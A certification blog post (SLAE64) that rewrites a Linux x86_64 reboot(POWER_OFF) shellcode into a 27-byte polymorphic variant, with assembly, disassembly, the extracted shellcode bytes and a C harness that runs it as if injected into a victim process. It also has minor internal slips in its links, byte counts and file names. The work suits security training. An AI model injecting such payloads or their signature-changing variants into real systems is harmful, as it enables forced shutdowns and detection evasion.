Student ID: SLAE64-1611
Assignment Six: Polymorphic Conversion of Linux/x64 Shellcode Part Three of Three - Linux/x86_64 reboot(POWER_OFF)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7
All code can be found in: https://github.com/securitychops/security-tube-slae64
All work was tested on a 64bit version of Ubuntu 18.04.1 LTS
TLDR; - JMP short Final_Breakdown
Part three of assignment six of the SLAE64 has us performing our third and final polymorphic transformation on the Linux/x64 shellcode taken from shell-storm.org:
Linux/x86_64 reboot(POWER_OFF)
And for the final time … you can see from the assembly code below, and at the provided link, this is not a very complex set of code but truth be told there are still not a whole lot of x64 shellcode samples at shell-storm.org ;)
Just like last two times the very first thing that we should do is start analyzing the shellcode that we will perform our polymorphic transformation on, and since the shellcode author was yet again kind enough to provide us with the source assembly we can immediately jump into the analysis of the first instruction by again referencing /usr/include/x86_64-linux-gnu/asm/uninstd_64.h. Doing so will show us that we will be calling only one function, which is sys_reboot (0xa9/169).
; reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_POWER_OFF)
section .text
global _start
_start:
mov edx, 0x4321fedc
mov esi, 0x28121969
mov edi, 0xfee1dead
mov al, 0xa9
syscall
http://shell-storm.org/shellcode/files/shellcode-603.php
Before continuing on however we need to stop for a moment and figure out how big this shellcode we will be transforming is and since the shellcode author was kind enough to provide us with the final shellcode (and the size), we can just check the length of theirs. which should be 19 bytes long:
\xba\xdc\xfe\x21\x43\xbe\x69\x19\x12\x28\xbf\xad\xde\xe1\xfe\xb0\xa9\x0f\x05
The shellcode size we end up with is only 19 bytes, which means that in order to be within an acceptable range of no larger than 150% of the size of the original shellcode we can’t end up any larger than 28 bytes for our shellcode … that is really not a lot of room toi play with here … but I got faith is us … so here we go!
Behold, I preset to you our new assembly, which ends up only being 27 bytes long, five whole bytes under our original target!
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.3 : Polymorphic Conversion of Linux/x64 Shellcode Part Three of Three - Linux/x86_64 reboot(POWER_OFF)
; File Name : poweroff.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-602.php
section .text
global _start
_start:
xor rax, rax ; zeroing out rax
mov al, 0xa9 ; setting rax to 0xa9 (sys_reboot)
mov edx, 0x4321fedd ; need to sub one to get 0x4321fedc
mov esi, 0x2812196a ; need to sub one to get 0x28121969
mov edi, 0xfee1dead ; keeping fee1dead the same for space issues
dec dl ; should now be 0x4321fedc
dec sil ; should now be 0x28121969
syscall ; call sys_reboot
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/poweroff.nasm
So what did we do for the final time in order to introduce our polymorphic magic? Well, given just how little room we were confined to working with (28 bytes) we just altered the final magic numbers a little bit and then ran a few dec operations on them in order to keep it within the range … which ended up being 27 bytes!
And just like in all the previous posts thus far we go ahead and compile our assembly as such:
objdump -d -M intel poweroff
Which produces the following output, notice how there are no nulls!
poweroff: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 c0 xor rax,rax
400083: b0 a9 mov al,0xa9
400085: ba dd fe 21 43 mov edx,0x4321fedd
40008a: be 6a 19 12 28 mov esi,0x2812196a
40008f: bf ad de e1 fe mov edi,0xfee1dead
400094: fe ca dec dl
400096: 40 fe ce dec sil
400099: 0f 05 syscall
Awwwwwwww yeah, once again no nulls! :)
Once we have the assembled binary (and tested that it worked correctly) we again were able to extract the shellcode as follows:
for i in $(objdump -D poweroff.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo
Which produces the following 27 bytes of shellcode:
\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05
At this point we are now able to replace the shellcode in our helper C program as such:
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name : poweroff.c
#include<stdio.h>
#include<string.h>
//compile with: gcc poweroff.c -o poweroff -fno-stack-protector -z execstack -no-pie
unsigned char code[] = \
"\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05";
main()
{
printf("Shellcode Length: %zu\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/poweroff.c
And then we are able to compile our final binary and execute the shellcode as though it were being injected into the memory of a victim process
gcc execve.c -o execve -fno-stack-protector -z execstack -no-pie
Animated gif of the complete compilation and running of our polymorphic shellcode!
Final_Breakdown:
Below are the contents of the final code needed to generate our 27 byte polymorphic obfuscated shellcode inspired by the shellcode found at: Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode.
Assembly Code
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 6.3 : Polymorphic Conversion of Linux/x64 Shellcode Part Three of Three - Linux/x86_64 reboot(POWER_OFF)
; File Name : poweroff.nasm
; Shell Storm : http://shell-storm.org/shellcode/files/shellcode-602.php
section .text
global _start
_start:
xor rax, rax ; zeroing out rax
mov al, 0xa9 ; setting rax to 0xa9 (sys_reboot)
mov edx, 0x4321fedd ; need to sub one to get 0x4321fedc
mov esi, 0x2812196a ; need to sub one to get 0x28121969
mov edi, 0xfee1dead ; keeping fee1dead the same for space issues
dec dl ; should now be 0x4321fedc
dec sil ; should now be 0x28121969
syscall ; call sys_reboot
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/poweroff.nasm
Helper Compile Bash Script
#!/bin/bash
echo '[+] Assembling 64bit with Nasm ... '
nasm -f elf64 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-6/compile.sh
Final C Program To Execute Shellcode
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 6 : Shell Code Test File
// File Name : poweroff.c
#include<stdio.h>
#include<string.h>
//compile with: gcc poweroff.c -o poweroff -fno-stack-protector -z execstack -no-pie
unsigned char code[] = \
"\x48\x31\xc0\xb0\xa9\xba\xdd\xfe\x21\x43\xbe\x6a\x19\x12\x28\xbf\xad\xde\xe1\xfe\xfe\xca\x40\xfe\xce\x0f\x05";
main()
{
printf("Shellcode Length: %zu\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}